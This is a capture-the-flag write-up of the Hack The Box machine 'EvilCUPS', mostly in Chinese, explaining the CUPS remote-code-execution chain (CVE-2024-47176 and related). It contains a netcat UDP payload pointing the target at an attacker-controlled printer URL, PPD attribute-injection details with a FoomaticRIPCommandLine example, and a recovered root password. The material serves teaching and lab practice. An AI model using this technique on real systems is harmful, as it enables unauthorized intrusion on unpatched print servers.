Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
EvilCUPS
其實看名字就知道是最近的 CUPS 漏洞,所以可以直接去搜索CUPS漏洞的使用方法。
最近的 CUPS 漏洞引起了廣泛關注,特別是 CVE-2024 系列漏洞,這些漏洞涉及 CUPS(通用打印系統)的多個組件,並可能導致遠程代碼執行(RCE)。在進行漏洞測試時,首先進行了 TCP 和 UDP 掃描,確認 CUPS 服務運行在 631 端口。通過瀏覽器訪問該端口,發現其版本為 2.4.2,並注意到打印任務文件會存放在臨時目錄中,這為後續的漏洞利用提供了線索。進一步搜索到的 POC(概念驗證)提供了利用該漏洞的具體方法,並經過修改以適應當前環境,最終成功觸發了 RCE,獲得了 shell 訪問權限。分析過程中,發現 CUPS 的作業文件存儲在 /var/spool/cups 目錄下,包含控制文件和數據文件。這些文件的結構和存儲方式為漏洞利用提供了依據,特別是控制文件中包含的 IP 消息和數據文件中的原始打印內容。進一步探索 PPD(PostScript 打印描述)文件的生成過程,發現惡意打印機的屬性可以被利用來覆蓋原有的 cupsFilter2 屬性,從而執行任意命令。透過模擬惡意打印機並傳遞適當的屬性,成功觸發了漏洞。
Nmap
TCP掃描,
1 | $ sudo nmap -sS -sC -sV -oA save -vv -p- --min-rate 1000 10.129.6.170 |
UDP掃描,因爲知道 cups 服務在631,所以大致掃描一下就好了。
1 | $ sudo nmap -sU -p 630-635 1000 10.129.6.170 |
Exploit CUPS
來到631的端口,用瀏覽器打開,發現是 cupS 2.4.2
版本:
裏面有一個任務:
這裏好像打印好了一個文件,不過值得一提,關於CUPS打印的文檔首先會放在一個臨時目錄裏面,如果後面可以訪問這裏面的文件,就可以看到打印的内容。
於是網上搜索poc,然後找到了這篇: https://threatprotect.qualys.com/2024/09/27/cups-printing-systems-remote-code-execution-vulnerability-cve-2024-47176-cve-2024-47076-cve-2024-47175-cve-2024-47177/
隨手試一下:
1 | echo '0 3 http://10.10.14.62:12345/printers/qualys' | nc -nu 10.129.6.170 631 |
等待30秒左右,就得到:
不過這也證實了確實有漏洞存在,上面的poc中也有github的引用,
看到這篇: https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 ,但是這個poc不能直接拿來使用,需要修改,修改後如下,(本篇結尾會講解原理,因爲原理相對複雜所以放在後面)
原理是:先增加打印機,然後使用cups去調用這個惡意打印機,剛好他會看打印機的屬性,有個bug可以觸發RCE。
所以修改脚本如下:
1 | #!/usr/bin/env python3 |
使用 poc 增加惡意打印機:
1 | $ python3 exp.py 10.10.14.62 10.129.6.170 |
這樣需要等待30秒,然後等cups增加惡意打印機之後:
在網頁上就看到增加好的打印機:
利用這個漏洞還需要手動打印一些文件,才可以觸發,好在這裏可以打印測試紙張:
這樣子就觸發了RCE:
然後就得到了shell:
Shell as lp user
從 linpeas 中可以看到,這裏有ppd文件,知道了路徑之後,後面分析poc的時候會用到:
很可惜 linpeas 看不到什麽有用的信息,不過還記得一開始有一個打印的文檔嗎,於是就網上搜一下他會放在哪:
不過很奇怪,一直沒辦法訪問,原來只允許讀取,不允許列舉目錄下的文件:
根據網上的信息可以知道,一般是 /var/spool/cups/d00001-001
意思是第一篇文檔 d00001
中的0001
頁。
The scheduler stores job files in a spool directory, typically /var/spool/cups. Two types of files will be found in the spool directory: control files starting with the letter “c” (“c00001”, “c99999”, “c100000”, etc.) and data files starting with the letter “d” (“d00001-001”, “d99999-001”, “d100000-001”, etc.) Control files are IPP messages based on the original IPP Print-Job or Create-Job messages, while data files are the original print files that were submitted for printing. There is one control file for every job known to the system and 0 or more data files for each job.
所以:
然後看到有個密碼:
1 | Br3@k-G!@ss-r00t-evilcups |
結果就是root用戶的密碼:
Analysis POC
1
2
3
4 CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.
CVE-2024-47076 | libcupsfilters <= 2.1b1 cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker controlled data to the rest of the CUPS system.
CVE-2024-47175 | libppd <= 2.1b1 ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker controlled data in the resulting PPD.
CVE-2024-47177 | cups-filters <= 2.0.1 foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.
這裏分爲四個 CVE,本質上來説都是CUPS的組件,然後這些組件串在一起相互利用就變成了RCE。
正因爲第二個是直接傳遞給其他組件,所以基本上可以忽略掉。更應該關注第一個,第三個和第四個。
cups-browsed
由於它可以接受來自任何的631端口,只要發出去的請求是CUPS Browse Protocol
的格式,就會收到來自服務器的請求。
發送報文的格式如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 ABNF Definition
The following ABNF definition [RFC4234, RFC3986] defines the format of each browse packet:
PACKET = TYPE WSP STATE WSP URI WSP LOCATION WSP INFO WSP
MAKE-AND-MODEL WSP *[ WSP ATTR-NAME "=" ATTR-VALUE ] LF
TYPE = 1*HEXDIG
STATE = "3" / "4" / "5"
URI = "ipp://" ( 1*NAMECHAR / IP-literal / IPv4address )
[ ":" 1*DIGIT ] ( "/printers/" / "/classes/" ) 1*NAMECHAR
NAMECHAR = %x21.22.24.26-2E.30-7E / %x25 HEXDIG HEXDIG
IP-literal = See RFC 3986
IPv4address = See RFC 3986
LOCATION = QUOTED-STRING
INFO = QUOTED-STRING
MAKE-AND-MODEL = QUOTED-STRING
ATTR-NAME = 1*( ALPHA / DIGIT / "-" / "." )
ATTR-VALUE = QUOTED-STRING / 1*UNQUOTE-CHAR
QUOTED-STRING = DQUOTE *QUOTED-CHAR DQUOTE
QUOTED-CHAR = %x20.21.23-5B.5D-7E / UTF8-CHAR / %x5C %x5C / %x5C %x22
UNQUOTE-CHAR = %x21.23-26.28-5B.5D-7E / UTF8-CHAR
UTF8-CHAR = %xC0.DF %x80.BF / %xE0.EF %x80.BF %x80.BF /
%xF0.F7 %x80.BF %x80.BF %x80.BF
PACKET 這一行可以直接忽視掉,如果你的 payload 是 0 3 http://10.10.14.62:12345/printers/qualys
,對應上面的表格:
-
TYPE
就是0
-
STATE
就是3
-
URL
就是http://10.10.14.62:12345/printers/qualys
,後面的NAMECHAR
就是qualys
,只是名字而已。
儅payload使用udp協議發出去了之後:
1 | echo '0 3 http://10.10.14.62:12345/printers/qualys' | nc -nu 10.129.6.170 631 |
cups-browsed
就會以爲你要增加一個遠程打印機,所以CUPS就需要發送 requsted-attribute
去請求打印機的相關屬性,比如名字啊,墨水啊等。
這些打印機裏一般都運行 IPPServer
服務器,儅CUPS的組件cups-browsed
收到打印機的請求后,就會交給 libcupsfilters
去獲取屬性,你從上面的圖片中可以看到CUPs發送給打印機請求的數據,然後交給 libppd
去保存成一個 ppd 文件。
libppd
libppd
會根據打印機會根據打印機收到的報文(也就是打印機的屬性)轉換成一個 ppd 文件,當你需要打印的時候就會使用這個 ppd 文件,一般轉換好之後會放在 /etc/cups/ppd
這個目錄裏面:
轉換後的文件裏面大概是這樣子的:
1 | *PPD-Adobe: "4.3" |
那麽問題來了,他是如何轉換屬性的呢?
他單純的負責儅苦力工,從打印機的屬性中獲取一些屬性,直接轉換成ppd并且直接寫入到文件裏面,
儅有一個惡意打印機的屬性是 printer-more-info
為 mane\n*AAAAAAAAAAA: BBBBBBB
,保存到文件之後就會變成:
1 | ................. |
這樣就可以控制半個文件裏面的内容。
cups-filters
在打印的時候,foomatic-rip
會檢查 ppd裏面有沒有 FoomaticRIPCommandLine
這個屬性,如果有就會執行一些命令,但是有一個前提條件:
參考:https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1
他要求在 ppd
文件裏面告訴 CUPS 使用哪個文件執行命令,也就是 cupsFilter2
,換句話說這個 ppd
文件裏面需要有兩行:
1 | *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED" |
但原本的 ppd
文件裏面就有定義 cupsFilter2
(請看上面 ppd 文件),如果要覆蓋這個cupsFilter2
的話,必須要在原本的 cupsFilter2
之前定義 cupsFilter2
。
必須要在原本ppd 文件的 cupsFilter2
之前值插入,才可以修改 cupsFilter2
這個值,屬於先定義先得的概念。
Which attributes can be controlled
那麽問題又來了,從上面的信息中可以得知,必須要在cupsFilter2
之前插入,所以根據源代碼可以得知:
cupsFilter2
最有可能在代碼的 720 行之前插入,也就是說在720行之前是打印機屬性都可以拿來使用,所以這裏就直接從源代碼上面取幾個可能的屬性:
1 | printer-more-info |
Making Exploit
所以接下來的思路就很清楚,我要模擬一個惡意的打印機,并把這些屬性帶給CUPS服務器,這裏就隨便參考一下原本的POC:
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
但是原本的poc少了點東西,所以可以藉鑒:https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1
於是改成 def operation_printer_list_response(self, req, _psfile):
另外這個poc上用的是 printer-privacy-policy-uri
,但是後來發現并沒有寫進去 ppd 文件裏面,不過改成 printer-more-info
或者 printer-charge-info-uri
后就成功了。
改好的poc就和上面使用的poc一樣。
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)